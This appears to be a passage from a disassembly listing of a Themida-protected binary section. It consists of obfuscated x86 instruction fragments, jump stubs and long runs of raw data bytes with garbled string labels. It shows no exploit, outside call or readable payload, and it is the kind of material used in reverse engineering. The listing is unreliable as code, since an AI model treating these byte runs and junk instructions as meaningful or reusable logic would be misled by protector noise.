dd 39DDE9h, 327A6800h, 0E95B73A2h, 0E4FFh, 81241C8Bh, 4C4h
dd 78BF2D00h, 0D02935C6h, 5464E9h, 81E58900h, 4C5h, 76616800h
dd 7FE90000h, 81000078h, 7C147CEBh, 0EB8170h, 504FE003h
dd 0A3E9D889h, 54000088h, 0E924048Fh, 0C427h
; ---------------------------------------------------------------------------
loc_508324: ; CODE XREF: Themida_:0050F9DAj
push 2A00h
jmp loc_5115B5
; ---------------------------------------------------------------------------
loc_50832E: ; CODE XREF: Themida_:0050B93Fj
xor eax, 4BB200Eh
mov edi, eax
pop eax
push edx
mov edx, 6ADA05D9h
shl edx, 4
jmp loc_517F33
; ---------------------------------------------------------------------------
dword_508344 dd 240C8B66h, 4A97E9h, 1CED8000h, 5062CD80h, 0F3ACE9h
; DATA XREF: Themida_:00502A50o
dd 2DE68100h, 53390E52h, 1909E9BBh, 5BDE3162h, 4EC8351h
dd 68240489h, 9CE2A620h, 4064E9h
db 0
; ---------------------------------------------------------------------------
loc_508379: ; CODE XREF: Themida_:00504C15j
pop eax
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5169B0
; ---------------------------------------------------------------------------
aZS db 'Z,',7,'éË',7,0
dd 59EF8800h, 4EC81h, 4890000h, 667DB424h, 88CA8852h, 66D488E1h
dd 86D1F65Ah, 80C4FECCh, 0B3533FF4h, 0E9CBFE4Fh, 0D8Eh
; ---------------------------------------------------------------------------
loc_5083B8: ; CODE XREF: Themida_:0050ADA6j
mov ecx, esp
push ebx
mov ebx, 4
sub ecx, 33EC397Eh
add ecx, ebx
add ecx, 33EC397Eh
jmp loc_5096E3
; ---------------------------------------------------------------------------
db 5
dd 69CE56ABh, 69E9D0F7h, 1FFFFC7h, 0EE2CE9F8h, 0EB800000h
dd 4EC8365h, 89240C89h, 4C181E1h, 83000000h, 0E95104E9h
dd 250h, 5404EC83h, 8324048Fh, 59042404h, 0BA49E950h, 8F590000h
dd 3FE92404h, 5DFFFFD7h, 0DB8EE9h, 240C8B00h, 4C481h, 4010000h
dd 242C8124h, 755A3A12h, 0FFA692E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_508439: ; CODE XREF: Themida_:00512783j
sub eax, 53F0113Ch
add eax, esi
jmp loc_514A3F
; ---------------------------------------------------------------------------
byte_508445 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00502A64o
dd 0D359669Dh, 0E99C241Ch, 9712h, 0F07B4668h, 0E9535B4Eh
dd 1F6Dh, 8904C483h, 0F0015FFEh, 5E2434FFh, 6804C483h
dd 5EDBh, 2CFE9h, 24348900h, 2E2668h, 24248900h, 1C4DE9h
db 0
byte_508489 db 53h, 54h, 5Bh ; DATA XREF: Themida_:00502980o
dd 6D35BD55h, 0C58128C7h, 253A0417h, 0FFB565E9h, 4A924FFh
dd 58C6880Ah, 0FFE54BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5084A9: ; CODE XREF: Themida_:0050C021j
add esi, 4
xchg esi, [esp]
jmp loc_512750
; ---------------------------------------------------------------------------
db 1
dd 0F1C281CAh, 51511943h, 1E0A39B9h, 59CA0146h, 83240C8Bh
dd 0C20104C4h, 62B7EA81h, 0F0E95855h, 83FFFFA5h, 0BB5301EAh
dd 0AD65C99h, 0EF7CB81h, 0DBF74F17h, 0C227E9h, 8B686600h
dd 84E9E945h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5084FA: ; CODE XREF: Themida_:0050A670j
jmp loc_502ACB
; ---------------------------------------------------------------------------
byte_5084FF db 56h ; DATA XREF: Themida_:005029A8o
dd 24348B54h, 5704C483h, 4BFh, 5FFE0100h, 4EE81h, 34330000h
dd 0A808E924h, 48BFFFFh, 20E95524h
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_508527: ; CODE XREF: Themida_:00513F90j
mov ecx, 2AD044C3h
and ecx, 0AA7C45h
and ecx, 528E7050h
jmp loc_50E7EC
; ---------------------------------------------------------------------------
a_s db '_é}Ç',0
dw 5100h
dd 7B02BE56h, 22E94572h, 660000ACh, 0E90AF135h, 0FFFFBEBEh
; ---------------------------------------------------------------------------
loc_508558: ; CODE XREF: Themida_:0050FB81j
push 7143h
mov [esp], esi
pop edi
push dword ptr [esp]
jmp loc_5168F4
; ---------------------------------------------------------------------------
db 1, 0CDh, 59h
a31Ssx db '3,$1,$é‘å',0
dw 8B00h
dd 51E92424h, 89FFFFD2h, 0FD1FE9CEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_508586: ; CODE XREF: Themida_:00512F95j
add edx, 4
xchg edx, [esp]
jmp loc_50AC83
; ---------------------------------------------------------------------------
dd 5528E681h, 0F6810771h, 44C22FD7h, 295EF789h, 0C2815FFAh
dd 0E085BB5Bh, 0D27BC72Dh, 5D00111h, 11D27BC7h, 67CEE9h
db 0
; ---------------------------------------------------------------------------
loc_5085BD: ; CODE XREF: Themida_:00503B48j
mov eax, [esp]
add esp, 4
push 184Bh
jmp loc_5159B9
; ---------------------------------------------------------------------------
loc_5085D0: ; CODE XREF: Themida_:005121CCj
not dword ptr [esp]
pop edi
shl edi, 5
push edx
mov edx, 41A20183h
and edx, 3C6D1EB1h
add edx, 790734F8h
shl edx, 5
push eax
mov eax, 0AFD7516h
and edx, eax
jmp loc_50A4D0
; ---------------------------------------------------------------------------
db 0FEh, 44h, 24h
dd 1C8B6601h, 2C48324h, 80F9C780h, 0C2E94EF7h, 81FFFFE1h
dd 4C4h, 4EC8300h, 0B9240C89h, 0FFFFFFFFh, 3548C781h, 0CF017CB4h
dd 3548EF81h, 81597CB4h, 9A27A9F7h, 8BFA8956h, 0C481243Ch
dd 4, 0FFF948E9h, 4C481FFh, 0E9000000h, 0FFFFCF41h, 42474FFh
dd 24048F59h, 2414895Ch, 2FE9BBB2h
db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_508663: ; CODE XREF: Themida_:0050FFCDj
mov bl, 6Eh
sub al, bl
pop ebx
add al, 76h
sub esp, 4
mov [esp], ebx
mov bh, 37h
or bh, 0F8h
shr bh, 3
or bh, 84h
jmp loc_51613A
; ---------------------------------------------------------------------------
dd 215F68h, 0CCA0E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50868A: ; CODE XREF: Themida_:005086C3j
push 4
pop edx
sub ecx, edx
pop edx
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push 66C7h
mov [esp], esi
push ecx
mov ecx, esp
jmp loc_512874
; ---------------------------------------------------------------------------
loc_5086B9: ; CODE XREF: Themida_:00505DCFj
push ecx
mov ecx, esp
add ecx, 4
push edx
jmp loc_50868A
; ---------------------------------------------------------------------------
dd 0E996FE87h, 6E7Bh, 8904EC83h, 46E9241Ch, 290000E5h
dd 0D70158C7h, 934E9h
db 0
; ---------------------------------------------------------------------------
loc_5086E5: ; CODE XREF: Themida_:00514820j
add ebp, esi
pop esi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, 543A7E43h
push ebp
mov ebp, 58733E6Ah
add [esp+8], ebp
pop ebp
jmp loc_5044E4
; ---------------------------------------------------------------------------
dw 15Dh
aS_7 db 'Âéœì',0
align 2
dw 76BFh
dd 0C12BFE20h, 0D7F702E7h, 4EC81h, 0C6E90000h
db 0F8h, 2 dup(0FFh)
byte_50872F db 64h ; DATA XREF: Themida_:005029FCo
dd 2B60F66h, 8904EC83h, 0E9542434h, 0B3F7h, 0E9241C89h
dd 0FFFFC4DCh, 57243489h, 0EDEE9h, 606F6800h, 4890000h
dd 3571E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50875E: ; CODE XREF: Themida_:00505073j
add esp, 4
jmp loc_50FFD2
; ---------------------------------------------------------------------------
loc_508769: ; CODE XREF: Themida_:0050D025j
sub ebp, 4
jmp loc_511DA8
; ---------------------------------------------------------------------------
loc_508774: ; CODE XREF: Themida_:00512FADj
add ebx, 4
xchg ebx, [esp]
jmp loc_51171D
; ---------------------------------------------------------------------------
db 83h
dd 0CE904ECh
db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_508787: ; CODE XREF: Themida_:00504A0Dj
add ecx, 54C05DFh
add ecx, eax
sub ecx, 54C05DFh
jmp loc_51107A
; ---------------------------------------------------------------------------
dw 0BAB9h
dd 0BA55D60Dh, 55D60DBEh, 0E959CA29h, 0FFFFB63Fh, 0C781D701h
dd 0B4046ACh, 4BA525Ah, 81000000h, 0BE0E53EFh, 578BE91Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5087C6: ; CODE XREF: Themida_:00516C16j
mov [esp], eax
push 5A5h
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
jmp loc_504026
; ---------------------------------------------------------------------------
loc_5087E3: ; CODE XREF: Themida_:0050DD8Bj
xor [esp], ebx
jmp loc_503EA3
; ---------------------------------------------------------------------------
db 83h
dd 9DE904C4h
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5087F3: ; CODE XREF: Themida_:0050AF94j
pop ecx
add esp, 4
add ebx, 38054DEEh
xchg ecx, ebx
not ecx
xchg ecx, ebx
push eax
mov eax, 1132F4Bh
add eax, 2EE32ADFh
neg eax
shr eax, 8
push ebp
mov ebp, 7AD816DDh
push edi
jmp loc_509A97
; ---------------------------------------------------------------------------
db 5Bh
dd 5B25C181h, 0C8017527h, 0E9240C8Bh, 1FAEh
; ---------------------------------------------------------------------------
loc_508830: ; CODE XREF: Themida_:0050734Aj
mov edx, 4
jmp loc_510FB1
; ---------------------------------------------------------------------------
dw 895Ch
dd 0EC832404h, 24248904h, 4240481h, 0E9000000h, 4FDCh
; ---------------------------------------------------------------------------
loc_508850: ; CODE XREF: Themida_:0050DF7Fj
add esp, 4
push 5B07h
mov [esp], ecx
sub esp, 4
mov [esp], edi
add dword ptr [esp], 33644FD8h
pop ecx
sub ecx, 33644FD8h
mov eax, ecx
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_512121
; ---------------------------------------------------------------------------
aZfpLUsU db 'ZfP´L(ãéÊž',0
align 4
loc_50888C: ; CODE XREF: Themida_:005139EFj
mov esi, 3A652673h
add esi, 2CD7E9C4h
sub edi, 514E1BDFh
jmp loc_509BCF
; ---------------------------------------------------------------------------
dw 0E956h
dd 0FFFFC24Ah, 582434FFh, 5304C483h, 468h, 14055B00h, 0E911DA7Dh
dd 0FFFFCAC3h, 8033CF80h, 0A1E9D5C7h, 80FFFFF7h, 0C3283FEBh
dd 0E93FC380h, 0D832h, 0C681E689h, 4, 4C681h, 34870000h
dd 0EA815C24h, 104910AAh, 391CE9h, 241C8900h, 8D79E9h
dd 2474FF00h, 48F5A04h, 3C895C24h, 2474FF24h, 0E9E95F04h
dd 5E000073h, 8324348Bh, 0E95204C4h, 0FFFFBA24h
; ---------------------------------------------------------------------------
loc_508920: ; CODE XREF: Themida_:00507492j
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_50D4C2
; ---------------------------------------------------------------------------
dd offset dword_450050+0D518h
dd 241C8900h, 0E915B551h, 0FFFFFA09h, 40D4ED81h, 0B8E94C80h
dd 68FFFFE9h, 417C7F65h, 81242C8Bh, 4C4h, 91F58100h, 0C134C14Eh
dd 0E58108E5h, 658F62A1h, 0B8B8C581h, 59554243h, 53E9815Dh
dd 10173B8h, 240C8BC8h, 8104C483h, 4ECh, 24048900h, 16685854h
dd 8900003Bh, 4B9240Ch, 1000000h, 0B9CFE9C8h, 4F350000h
dd 2982A9DEh, 0FB70E9C1h, 555BFFFFh, 3DE95251h
db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5089B7: ; CODE XREF: Themida_:00512F8Aj
push ecx
mov ecx, 2BE854E8h
not ecx
jmp loc_503792
; ---------------------------------------------------------------------------
dd 8904EC83h, 5A542414h, 0FFC818E9h, 0C8B60FFFh, 403468h
dd 240C8900h, 0FFA0EAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5089E1: ; CODE XREF: Themida_:00512A26j
push ebx
mov ebx, 24995ED5h
not ebx
jmp loc_515AFC
; ---------------------------------------------------------------------------
aN1Hn9 db '1Øh9',0 ; DATA XREF: Themida_:005027F4o
align 2
dw 2C89h
dd 4EC8324h, 68243C89h, 6D95627Ah, 976AE95Fh, 524D0000h
dd 317617BAh, 0C1DAF76Dh, 0EAC103E2h, 81EDE903h, 0A8E90000h
dd 51FFFFA0h, 2C1C6850h, 0CE9287Bh, 0FF000035h, 0E9042474h
dd 4673h, 815BD931h, 7A36E7E9h, 0E1895141h, 4C181h, 0E9810000h
dd 4, 5C240C87h, 5D240C89h, 5AEB8159h, 0E946D261h, 0D364h
dd 24348156h, 9D72037h, 37F18159h, 5E09D720h, 8324148Bh
dd 40E904C4h
db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_508A7F: ; CODE XREF: Themida_:005074A8j
mov edi, ebp
pop ebp
jmp loc_514EF8
; ---------------------------------------------------------------------------
db 56h
dd 0BB535E54h, 4, 835BDE01h, 348704C6h, 7F3E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_508A9E: ; CODE XREF: Themida_:0050CC57j
add eax, ebp
add eax, 783B0A65h
jmp loc_512F80
; ---------------------------------------------------------------------------
dw 1C89h
aIus db '$‰ãé×Ö',0
align 4
loc_508AB4: ; CODE XREF: Themida_:0050940Dj
or [eax], ebp
mov ebp, [esp]
push edx
push esp
pop edx
push edi
mov edi, 4
add edx, edi
pop edi
jmp loc_50E49C
; ---------------------------------------------------------------------------
dw 4BEh
dd 89000000h, 2434FFF3h, 0DFD4E95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_508ADA: ; CODE XREF: Themida_:00514DE6j
push edx
mov edx, 492F6526h
and edx, 0F0A16FCh
jmp loc_514C97
; ---------------------------------------------------------------------------
db 1
dd 243C8BFBh, 4C481h, 5AE90000h, 830000F3h, 0CA0104C4h
dd 3032E9h, 6E3C100h, 90BFC381h, 0D88921EDh, 993CE9h, 240C8B00h
dd 8F04C483h, 665C2404h, 9C240421h, 0FF9FA2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_508B29: ; CODE XREF: Themida_:00510427j
push ebx
push edi
mov edi, 201C3F9Ch
dec edi
shl edi, 8
not edi
jmp loc_50C18E
; ---------------------------------------------------------------------------
loc_508B3B: ; CODE XREF: Themida_:005096DEj
mov ebx, 38FD4F9Eh
sub ecx, ebx
pop ebx
jmp loc_50AADC
; ---------------------------------------------------------------------------
dd 0EC81D4B7h, 4, 0E9241489h, 0D7C8h, 6904B22Ch, 692CF828h
dd 0B652B204h, 5AF00007h, 8B66912Ch, 0C481241Ch, 2, 22A6E9h
dd 241C8700h, 0B87EE95Ch, 8F59FFFFh, 835C2404h, 348904ECh
dd 4932BE24h, 0F6815702h, 57024936h, 835EF301h, 7BE904ECh
dd 530000ACh, 0C37671BBh, 0D3EEE919h, 68530000h, 7DB3120Fh
dd 5BDF215Bh, 0BB9AF781h, 8CE92BF6h
db 0BCh, 2 dup(0)
byte_508BC3 db 0FFh ; DATA XREF: Themida_:005029D0o
dd 34FF2434h, 89515824h, 4C181E1h, 83000000h, 0C8704C1h
db 24h, 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
mov eax, 5E292ED5h
push 72Fh
mov [esp], ebx
mov ebx, 1F1029F3h
push ebx
add dword ptr [esp], 1
pop ebx
add ebx, 55F71CB7h
sub ebx, 5F122B09h
jmp loc_516B5C
; ---------------------------------------------------------------------------
loc_508C07: ; CODE XREF: Themida_:00509FF8j
mov edi, 3E477F57h
mov ecx, 40477F57h
sub ecx, edi
jmp loc_512E51
; ---------------------------------------------------------------------------
a0S db '0ÕéÒ',0Bh,0
dw 2900h
dd 60E958C7h, 89FFFFCFh, 4812424h, 424h, 0C78E900h, 248B0000h
dd 66E9F624h, 68CCB60Fh, 42FBh, 54241489h, 66E5685Ah, 4890000h
dd 90E95324h, 54000010h, 2DB2E9h, 40500h, 0C0830000h, 24048704h
dd 24048F5Ch, 6624248Bh, 2404B30Fh, 9D17E99Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_508C7A: ; CODE XREF: Themida_:00512842j
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebx
add ebx, 4
push ebp
jmp loc_50640E
; ---------------------------------------------------------------------------
db 89h
dd 7968242Ch, 0E9671B18h, 0B470h
; ---------------------------------------------------------------------------
loc_508C9C: ; CODE XREF: Themida_:0050EB96j
pop edi
push dword ptr [esp]
pop edx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_504973
; ---------------------------------------------------------------------------
dw 895Ch
dd 0CB682414h, 89000025h, 0FF682434h, 0FFFFFFFBh, 815E2434h
dd 4C4h, 0E9F28900h, 0D5CEh, 2C181h, 0C870000h, 24248B24h
dd 24040166h, 9DDDE99Ch, 0DF29FFFFh, 44E95E5Bh, 5B00006Fh
dd 4F8FF581h, 3FE9223Eh
db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_508D03: ; CODE XREF: Themida_:00506E79j
add edi, edx
jmp loc_516701
; ---------------------------------------------------------------------------
dw 0E95Fh
dd 0C1F9h, 5804C483h, 9E3E9h
db 0
; ---------------------------------------------------------------------------
loc_508D19: ; CODE XREF: Themida_:0050AB13j
mov edi, 4
add ebx, edi
pop edi
push eax
mov eax, 659640EBh
dec eax
jmp loc_514365
; ---------------------------------------------------------------------------
db 83h, 0EBh, 0FFh
dd 2CBEB951h, 0CB0162CBh, 15EDE9h, 243C8900h, 4BFh, 5FFB0100h
dd 4EC81h, 34890000h, 4BE24h, 7FE90000h, 8900009Bh, 6943E9C5h
dd 0C6010000h, 9C8BD55h, 0E581668Eh, 0ED41D89h, 4EE9D5F7h
dd 8BFFFFC3h, 0C483242Ch, 4C48304h, 140068h, 24048900h
dd 5556E089h, 0A0168h, 0C3DCE900h, 8952FFFFh, 4C281E2h
dd 68000000h, 13F9h, 0E9242C89h, 4838h, 68241489h, 2556h
dd 24048F54h, 4240481h, 8B000000h, 8E92414h, 30FFFFCBh
dd 0B083E9D9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_508DCE: ; CODE XREF: Themida_:0050C1BAj
push eax
push esp
mov eax, [esp]
add esp, 4
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
push eax
mov eax, 45BC5B78h
neg eax
jmp loc_507B32
; ---------------------------------------------------------------------------
dd 48BC289h, 42F9E924h, 4BF0000h, 1000000h, 3E95FF8h
db 7, 2 dup(0)
; ---------------------------------------------------------------------------
loc_508E0F: ; CODE XREF: Themida_:0050AC88j
push esp
pop ecx
jmp loc_50BDA5
; ---------------------------------------------------------------------------
dw 34FFh
dd 0C4815F24h, 4, 0FFC477E9h, 4C681FFh, 87000000h, 8F5C2434h
dd 248B2404h, 0D6EB8124h, 83118F3Ah, 348904ECh, 60996824h
dd 815E3BAEh, 4ECh, 12B1E900h, 91BE0000h, 0E906E15Eh, 0CBFCh
dd 45ADF281h, 0D6316A61h, 0FFC795E9h, 72BF57FFh, 0C150360Ah
dd 0EFD103EFh, 0D102E7C1h, 0CBC781EFh, 216945A6h, 0F6815FFEh
dd 16C01C58h, 6DE9F101h, 1000057h, 241C8BDEh, 0AD66E9h
dd 81E1D100h, 800622E9h, 59CA0102h, 0FF9D58E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_508EA9: ; CODE XREF: Themida_:005030DFj
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_507753
; ---------------------------------------------------------------------------
aLHP db '‹$$h[P',0
dd 240C8900h, 24BE6856h, 0C15E05F3h, 0EE8103EEh, 118748E9h
dd 0F681D6F7h, 10C8E453h, 815EF189h, 8676B2EAh, 81CA0109h
dd 8676B2C2h, 0D5FFE909h, 55520000h, 873F5BDh, 0B0CAE934h
dd 0F168FFFFh, 89000005h, 0E9542404h, 0FFFFF998h, 58C1295Dh
dd 0BF57E929h, 485346FEh, 393C181h, 0F90156CCh, 393E981h
dd 3C8B56CCh, 4C48324h, 5D2434FFh, 4C481h, 0C870000h, 0BE2AE924h
dd 0EE890000h, 0C181E95Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_508F4A: ; CODE XREF: Themida_:005076EEj
push esp
pop edx
jmp loc_514DE0
; ---------------------------------------------------------------------------
loc_508F51: ; CODE XREF: Themida_:00515821j
mov [esp], ebp
mov ebp, 516D1105h
mov ebx, 516D1109h
sub ebx, ebp
mov ebp, [esp]
add esp, 4
sub ebp, ebx
pop ebx
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_502ACB
; ---------------------------------------------------------------------------
loc_508F80: ; CODE XREF: Themida_:005044C3j
pop dword ptr [esp]
push 3273h
mov [esp], edx
xchg edx, [esp]
not edx
push edx
jmp loc_50C5AD
; ---------------------------------------------------------------------------
dw 15Fh
dd 242C8BE8h, 5004C483h, 42474FFh, 24048F58h, 0D324248Bh
dd 0E99C2424h, 9244h, 61031C25h, 48D43512h, 26E93CCBh
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_508FC3: ; CODE XREF: Themida_:0050E779j
sub bl, cl
pop ecx
push edx
jmp loc_514602
; ---------------------------------------------------------------------------
dd 0EA81EA31h, 1, 5E2EB951h, 0E9C15A23h, 70F18103h, 0E92A635Ch
dd 2410h, 10656858h, 5AE90000h, 810000DEh, 4C5h, 4C58100h
dd 87000000h, 0E95C242Ch, 77Eh, 81E18951h, 4C1h, 4C18300h
dd 7B05E9h, 84C78100h, 5A05280Fh, 4EC81h, 1C890000h, 26824h
dd 0DE90000h, 0BD0000A1h, 858B6C98h, 2C8BE929h, 0C199E924h
dd 0C1010000h, 4E5DC181h, 48B1DCBh, 0E3895324h, 4C381h
dd 0C3810000h, 4, 5C241C87h, 4C181h, 0D4680000h, 8900001Ch
dd 74FF240Ch, 34FF0424h
db 24h, 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
pop esp
push 1DBDh
mov [esp], eax
jmp loc_502ACB
; ---------------------------------------------------------------------------
loc_50909A: ; CODE XREF: Themida_:0050588Aj
pop ebx
pop dword ptr [esp]
mov esp, [esp]
push 3DD4h
mov [esp], ebx
mov ebx, 2B431B49h
push eax
push 0FFFFFFFFh
pop eax
jmp loc_505F3D
; ---------------------------------------------------------------------------
dw 2C8Bh
dd 4C48124h, 87000000h, 895C2404h, 70BD242Ch, 0BE7DCF6Dh
dd 78B3566Ah, 0E9FFEE83h, 534Ah
; ---------------------------------------------------------------------------
loc_5090DC: ; CODE XREF: Themida_:005178ACj
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop eax
add eax, 4
jmp loc_50D60E
; ---------------------------------------------------------------------------
dw 515Ch
dd 42474FFh, 82A8E9h, 66B95100h, 0C1628B75h, 61E902E9h
db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50910B: ; CODE XREF: Themida_:00502F1Aj
dec bl
jmp loc_516DD9
; ---------------------------------------------------------------------------
loc_509112: ; CODE XREF: Themida_:00508271j
push ebp
jmp loc_5117DB
; ---------------------------------------------------------------------------
dd 5C240C87h, 0E0B5E9h
db 0
byte_509121 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00502930o
dd 6658669Dh, 9C240411h, 0FF999AE9h, 5BE7B9FFh, 0C80158F4h
dd 83240C8Bh, 0D82904C4h, 1D91E953h, 0EBC00000h, 80C3FE04h
dd 0DC2029EBh, 66D685Bh, 0C890000h, 6670B124h, 2414F651h
dd 0FFCD3EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_509165: ; CODE XREF: Themida_:005052C5j
push edi
mov edi, 49A94A98h
add [esp+4], edi
pop edi
pop ecx
sub ecx, 49A94A98h
jmp loc_50DE41
; ---------------------------------------------------------------------------
aHi db '[hI,',0
align 2
dw 3C89h
dd 53E78924h, 41F1E9h, 4C48300h, 5C24048Fh, 0BC83E950h
dd 0C89FFFFh, 0F5F8E924h, 4735FFFFh, 50149F9Ch, 97242C81h
dd 0E973DD50h, 7C54h, 0E95BDD30h, 82B7h, 7E8AC281h, 0B7E91DA7h
dd 89FFFFA6h, 0ADBE2434h, 0E96CCC2Dh, 0D6A4h, 32170566h
dd 257F68h, 24148900h, 71DEBA66h, 0F7665266h, 5A66241Ch
dd 66D2F766h, 1499E281h, 958FE9h, 5A1BA00h, 0E95705C0h
dd 0FFFFC902h, 6712F9BDh, 8BE8293Eh, 0C483242Ch, 39685304h
dd 8BFBDB19h, 0C483241Ch, 5BD80104h, 8158C329h, 74D43CBh
dd 2AB85048h, 0E9137032h, 9C56h, 0E9DA015Bh, 0FFFFA9E9h
dd 5B2414F7h, 9325C381h, 4FE9378Ch
db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50924B: ; CODE XREF: Themida_:00513D9Aj
sub dword ptr [esp+4], 2CED7D25h
add [esp+4], edi
add dword ptr [esp+4], 2CED7D25h
push edx
mov edx, 586B467Eh
add [esp+8], edx
pop edx
pop edi
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
jmp loc_506FC8
; ---------------------------------------------------------------------------
loc_509282: ; CODE XREF: Themida_:0050DD38j
mov [esp], ebx
mov ebx, 0FFFFFFFFh
sub edx, ebx
jmp loc_516D44
; ---------------------------------------------------------------------------
db 5Ch, 0FEh, 0C2h
dd 0FFC52FE9h, 3AE959FFh, 8300002Fh, 148904ECh, 4599E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5092AA: ; CODE XREF: Themida_:00513610j
mov edx, edi
jmp loc_511AD4
; ---------------------------------------------------------------------------
db 81h, 0C2h, 4
dd 0E9000000h, 2492h, 8358C729h, 0C8904ECh, 0C63EB924h
dd 0CF31368Ah, 25E95759h
db 24h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5092D3: ; CODE XREF: Themida_:00505061j
add edx, 4
xchg edx, [esp]
pop esp
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
shr ecx, 0
jmp loc_506736
; ---------------------------------------------------------------------------
db 48h
dd 0A55CB25h, 68F2D1Bh, 0C7218AB5h, 0FFA74BE9h, 0E9F201FFh
dd 527Dh, 60E9E189h
db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50930F: ; CODE XREF: Themida_:0050D1D4j
push 28h
mov ecx, [esp]
push ebx
mov ebx, esp
jmp loc_5033FA
; ---------------------------------------------------------------------------
db 1
dd 5D04246Ch, 27AEE9h, 19A2BF00h, 0D6E90332h, 50000025h
dd 4B8h, 69EE8100h, 10C3468h, 1826E9C6h, 0C2810000h, 495B5421h
dd 0E92434FFh, 0DE8Fh, 0FF243489h, 8B042474h, 0C4812434h
dd 4, 5C24048Fh, 9C240431h, 0FF975AE9h, 0E95066FFh, 6893h
; ---------------------------------------------------------------------------
loc_509378: ; CODE XREF: Themida_:0050BD1Fj
mov edx, 178D3817h
sub edx, 5CC70F4Fh
jmp loc_517479
; ---------------------------------------------------------------------------
dword_509388 dd 240C8B66h, 0FF99F4E9h, 0E9C201FFh, 0A54Ah ; DATA XREF: Themida_:00502848o
; ---------------------------------------------------------------------------
loc_509398: ; CODE XREF: Themida_:0051253Cj
push 18DDh
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
push eax
mov eax, esp
push ebx
mov ebx, 68EB2C83h
or ebx, 450C6B1Ah
add ebx, 92109069h
add eax, ebx
pop ebx
jmp loc_510D02
; ---------------------------------------------------------------------------
db 0FFh
dd 8B042474h, 17E92434h
db 5Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5093DF: ; CODE XREF: Themida_:00506BA9j
push ecx
mov ecx, esp
jmp loc_517632
; ---------------------------------------------------------------------------
db 89h
dd 0BCE952E0h
db 19h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5093EF: ; CODE XREF: Themida_:00516236j
pop edx
inc ebp
shr ebp, 3
inc ebp
neg ebp
sub ebp, 0F3D69215h
sub eax, 45FF31FFh
jmp loc_50783C
; ---------------------------------------------------------------------------
loc_509407: ; CODE XREF: Themida_:0050D57Fj
push ebp
mov ebp, 187A6B29h
jmp loc_508AB4
; ---------------------------------------------------------------------------
word_509412 dw 8B66h ; DATA XREF: Themida_:00502998o
dd 4A682404h, 8900003Bh, 0F682414h, 89000069h, 0E9562424h
dd 7E09h
; ---------------------------------------------------------------------------
loc_50942C: ; CODE XREF: Themida_:005102D2j
push dword ptr [esp]
pop eax
push ecx
push esp
pop ecx
jmp loc_50D52A
; ---------------------------------------------------------------------------
dd 81E78957h, 4C7h, 4C78100h, 87000000h, 565C243Ch, 4BEh
dd 8BF32900h, 6BE92434h, 53FFFFE1h, 0CB21E9h, 97B85000h
dd 0E9774742h, 8812h, 4C481h, 0AEE90000h, 1FFFFDAh, 0D7015EF2h
dd 0D9E0E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_509482: ; CODE XREF: Themida_:0051747Bj
add edx, 0BAC628EDh
push edi
mov edi, 527414C5h
jmp loc_50FDC4
; ---------------------------------------------------------------------------
byte_509493 db 66h ; DATA XREF: Themida_:005029E0o
dd 52240C8Bh, 6EC6E9h, 0CF815B00h, 10184429h, 9CE9EFD1h
db 49h, 2 dup(0)
